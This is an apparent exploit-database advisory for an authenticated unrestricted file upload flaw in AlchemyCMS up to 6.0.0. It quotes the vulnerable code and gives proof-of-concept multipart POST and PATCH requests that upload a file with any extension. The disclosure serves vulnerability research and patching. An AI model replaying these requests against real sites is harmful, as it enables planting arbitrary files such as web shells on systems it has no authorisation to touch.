Alchemy CMS 6.0.0 Arbitrary File Upload

`# Exploit Title: AlchemyCMS 2.x to 6.0.0 - Unrestricted File Upload (authenticated)  
# Date: 01/10/2021  
# Exploit Author: Abdulrahman https://twitter.com/infosec_90  
# Vendor Homepage: https://alchemy-cms.com  
# Software Link: https://github.com/AlchemyCMS/alchemy_cms  
# Version: from 2.0 to 6.0.0  
# Tested on: Linux ruby 2.6.8p205 rails 6  
  
in /app/models/alchemy/attachment.rb line 82 :  
  
def allowed_filetypes  
Config.get(:uploader).fetch("allowed_filetypes", {}).fetch("alchemy/attachments", [])  
end  
end  
  
in /app/views/alchemy/admin/uploader/_button.html.erb in 18  
  
configuration(:uploader)['allowed_filetypes'][object.class.model_name.collection] || ['*'] %>  
  
  
  
POC :  
POST /admin/attachments HTTP/1.1  
------WebKitFormBoundarydAup7dA7ub3Weccp  
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"  
Content-Type: application/octet-stream  
  
anything  
  
------WebKitFormBoundarydAup7dA7ub3Weccp--  
  
  
OR  
id = 8 for old attachment  
  
PATCH /admin/attachments/8 HTTP/1.1  
------WebKitFormBoundarylYnqNR9sxMPdw7Si  
Content-Disposition: form-data; name="_method"  
  
patch  
------WebKitFormBoundarylYnqNR9sxMPdw7Si  
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"  
Content-Type: application/octet-stream  
  
anything  
------WebKitFormBoundarylYnqNR9sxMPdw7Si--  
`